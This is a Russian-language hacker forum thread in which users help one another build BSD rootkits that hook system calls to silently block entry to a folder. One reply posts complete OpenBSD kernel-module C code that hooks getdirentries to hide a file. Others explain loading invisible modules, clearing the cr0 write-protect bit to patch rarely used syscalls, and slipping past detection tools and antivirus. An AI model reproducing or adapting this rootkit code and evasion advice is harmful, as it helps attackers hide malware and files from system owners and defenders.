Уважаемая публика, пишу прожку-демон на nasm под FreeBSD. Её цель - висеть в памяти и отлавливать прерывание, которое срабатывает при попытке войти в определённую папку. После того как прерывание было перехвачено, необходимо сделать так, чтобы переход к папке не был выполнен. Без каких-либо сообщений пользователю. Тоесть он просто пишет cd "/dir", но остаётся в той же папке где раньше был. Я так понимаю нужно перехватить системный вызов (прерывание) и перезаписать вектор прерываний своими данными? Как минимум это теория. Как реализовать на практике? Подскажите.
Ребята, ну задача ведь была ясно истолкована. Нужно перехватить системный вызов, подменить cd сможет кто угодно с мало-мальскими знаниями, сейчас речь не об этом. Если кто-то может конструктивно высказать идею, я жду с нетерпением
Взял : http://stealth.openwall.net/rootkits/adore-ng-0.56.tgz Распаковал, посмотрел. Linux 2.4/2.6 rootkit. Весь на С. Суть понятна, там впринципе и делается подмена вектора прерываний, но применительно к freebsd скорее всего мне нужно написать подмену системному вызову sys_chdir . Пока ищу в инете, нет особых примеров или статей...
Какой ужас... Всем надобно руткитов под *BSD =) Для примера перехвата сискола можно посмотреть следующие вещи: 1) darkside-0.2.3 от команды limpid byte (lbyte.ru) 2) adore-bsd-0.34 это последняя версия в паблике. Найти можно на packetstormsecurity.nl. 3) руткит для OpenBSD от подчивающей ныне команды RST. Гугль в помощь, если уж совсем тяжко будет - мне в ПМ. но не наоборот. А вот ещё код для OpenBSD, прячущий, используя перехват getdirentries-сискола: Формат usermode функции из мана таков: Код (Text): #include <dirent.h> ssize_t getdirentries(int fd, char *buf, size_t nbytes , off_t *basep); А вот собственно перехват во всей его красе: Код (Text): #define DONT_PERMIT #include <sys/param.h> #include <sys/systm.h> #include <sys/syscall.h> #include <sys/mount.h> #include <sys/conf.h> #include <sys/syscallargs.h> #include <sys/exec.h> #include <sys/lkm.h> #include <sys/file.h> #include <sys/filedesc.h> #include <sys/errno.h> #include <sys/dirent.h> #include <sys/proc.h> #include <sys/syslog.h> #include <sys/malloc.h> int my_getdirentries __P((struct proc *, void *, register_t *)); MOD_MISC("HideFile"); static int HideFile_load(struct lkm_table *lkmtp,int cmd) { if(cmd==LKM_E_LOAD) { sysent[SYS_getdirentries].sy_call=my_getdirentries; } return 0; } static int HideFile_unload(struct lkm_table *lkmtp,int cmd) { if(cmd==LKM_E_UNLOAD) { sysent[SYS_getdirentries].sy_call=sys_getdirentries; } return 0; } HideFile(lkmtp,cmd,ver) struct lkm_table *lkmtp; int cmd; int ver; { DISPATCH(lkmtp,cmd,ver,HideFile_load,HideFile_unload,lkm_nofunc); } int my_getdirentries(p,v,retval) struct proc *p; void *v; register_t *retval; { register struct sys_getdirentries_args *uap=v; unsigned int tmp,n,t; struct dirent *dirp2,*dirp3; char hide[]="top-secret"; /* filename or subdirectory*/ getdirentries(p,uap); tmp=p->p_dupfd; if(tmp>0) { copyin(&(uap->buf),dirp2,tmp); dirp3=dirp2; t=tmp; while(t>0) { n=dirp3->d_reclen; t-=n; if(strcmp((char*)&(dirp3->d_name), (char*)&hide)==0) { if(t!=0) bcopy((char*)dirp3+n,(char*)dirp3,t); } tmp-=n; } if(dirp3->d_reclen==0) t=0; if(t!=0) dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen); } p->p_dupfd=tmp; copyout(dirp2,&(uap->buf),tmp); return (0); } Как видишь, всё очень просто. И никакого изврата с поиском таблицы иморта сисколов как в линухе 2.6.x. Т.к. я больше на linux специализируюсь, то про совместимость кода для OpenBSD с FreeBSD мало что его могу сказать, но данный код будет с большой долей вероятности работать как в NetBSD, так и FreeBSD.
вот тут показано как перехватывать системные вызовы под Free/Open/NetBSD, если что не понятно - спрашивай.
Крис, ты когда-то написал способ загрузки невидимого модуля в Линукс. Каким образом похожий трюк можно проделать во FreeBSD?
MCNet аналогичным образом выделяем память, копируем туда обработчики системных вызовов, которые мы перехватываем и возвращаем ошибку иницилизации модуля. правда, уже есть тузлы, которые обнаруживают такой способ внедрения, но можно модифицировать редко используемые системные функции, сбросив WP бит в cr0, а потом его вновь восстановив.
А можно про это поподробнее? В частности про утилиты, которые это контролируют и про редко используемые сисколы? Например? Есть ли ещё какие-либо способы обхода?
ShadOS про утилиты, которые ищут машинный код вне драйверов/модулей, вроде даже упоминается в разделе вирологии на этом сайте. насколько я в курсе, антивирусы с этим еще не заморачиваются (тестировал NOD32, KAV, etc). системный вызов не обязательно должен быть редким, но тогда тебе придется передавать управление на оригинальный обработчик, чтобы система не рухнула с дуба. в случае же редкого сист. вызова на это можно забить, особенно если продукт подчеркнуто некоммерческий
Насколько у понял он вызывается в процессе загрузки только один раз? (filesystems.c) Если так, то это идельная кандидатура. Спасибо. Код (Text): 38 /* This may be used only once, enforced by 'static int callable' */ 39 asmlinkage int sys_setup(void) 40 { 41 static int callable = 1; 42 43 if (!callable) 44 return -1; 45 callable = 0; 46 47 device_setup(); 48 49 binfmt_setup(); 50 51 #ifdef CONFIG_ROMFS_FS 52 init_romfs_fs(); 53 #endif 54 55 #ifdef CONFIG_JFFS_FS 56 init_jffs_fs(); 57 #endif 58 59 #ifdef CONFIG_NLS 60 init_nls(); 61 #endif 62 63 #ifdef CONFIG_EXT_FS 64 init_ext_fs(); 65 #endif 66 67 #ifdef CONFIG_EXT2_FS 68 init_ext2_fs(); 69 #endif 70 71 #ifdef CONFIG_XIA_FS 72 init_xiafs_fs(); 73 #endif 74 75 #ifdef CONFIG_MINIX_FS 76 init_minix_fs(); 77 #endif 78 79 #ifdef CONFIG_UMSDOS_FS 80 init_umsdos_fs(); 81 #endif 82 83 #ifdef CONFIG_FAT_FS 84 init_fat_fs(); 85 #endif 86 87 #ifdef CONFIG_MSDOS_FS 88 init_msdos_fs(); 89 #endif 90 91 #ifdef CONFIG_VFAT_FS 92 init_vfat_fs(); 93 #endif 94 95 #ifdef CONFIG_PROC_FS 96 init_proc_fs(); 97 #endif 98 99 #ifdef CONFIG_NFS_FS 100 init_nfs_fs(); 101 #endif 102 103 #ifdef CONFIG_SMB_FS 104 init_smb_fs(); 105 #endif 106 107 #ifdef CONFIG_NCP_FS 108 init_ncp_fs(); 109 #endif 110 111 #ifdef CONFIG_ISO9660_FS 112 init_iso9660_fs(); 113 #endif 114 115 #ifdef CONFIG_SYSV_FS 116 init_sysv_fs(); 117 #endif 118 119 #ifdef CONFIG_HPFS_FS 120 init_hpfs_fs(); 121 #endif 122 123 #ifdef CONFIG_AFFS_FS 124 init_affs_fs(); 125 #endif 126 127 #ifdef CONFIG_UFS_FS 128 init_ufs_fs(); 129 #endif 130 131 #ifdef CONFIG_AUTOFS_FS 132 init_autofs_fs(); 133 #endif 134 mount_root(); 135 return 0; 136 }